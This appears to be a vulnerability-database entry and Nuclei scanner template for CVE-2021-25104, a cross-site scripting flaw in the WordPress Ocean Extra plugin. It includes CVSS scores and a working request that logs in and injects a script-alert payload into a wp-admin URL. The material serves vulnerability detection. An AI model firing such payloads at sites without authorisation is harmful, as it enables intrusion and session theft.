CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
43.5%
WordPress Ocean Extra plugin before 1.9.5 contains a cross-site scripting vulnerability. The plugin does not escape generated links which are then used when the OceanWP theme is active.
id: CVE-2021-25104
info:
name: WordPress Ocean Extra <1.9.5 - Cross-Site Scripting
author: Akincibor
severity: medium
description: WordPress Ocean Extra plugin before 1.9.5 contains a cross-site scripting vulnerability. The plugin does not escape generated links which are then used when the OceanWP theme is active.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: Fixed in version 1.9.5.
reference:
- https://wpscan.com/vulnerability/2ee6f1d8-3803-42f6-9193-3dd8f416b558
- https://wordpress.org/plugins/ocean-extra/
- https://nvd.nist.gov/vuln/detail/CVE-2021-25104
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-25104
cwe-id: CWE-79
epss-score: 0.00106
epss-percentile: 0.42122
cpe: cpe:2.3:a:oceanwp:ocean_extra:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: oceanwp
product: ocean_extra
framework: wordpress
tags: cve,cve2021,wordpress,xss,wp-plugin,authenticated,wpscan,wp,ocean-extra,oceanwp
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/?step=demo&page=owp_setup&a"><script>alert(/XSS/)</script> HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'OceanWP'
- '><script>alert(/XSS/)</script>'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022100e3443b56e8a05c597dc43a2aa8eb67debf30c8d4ae911a0a37658bb837881d2702200e78e6b22e247af5d76f5db33eb488b26dac3e21e943f38a4d4baa45bceb3afd:922c64590222798bb761d5b6d8e72950
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
43.5%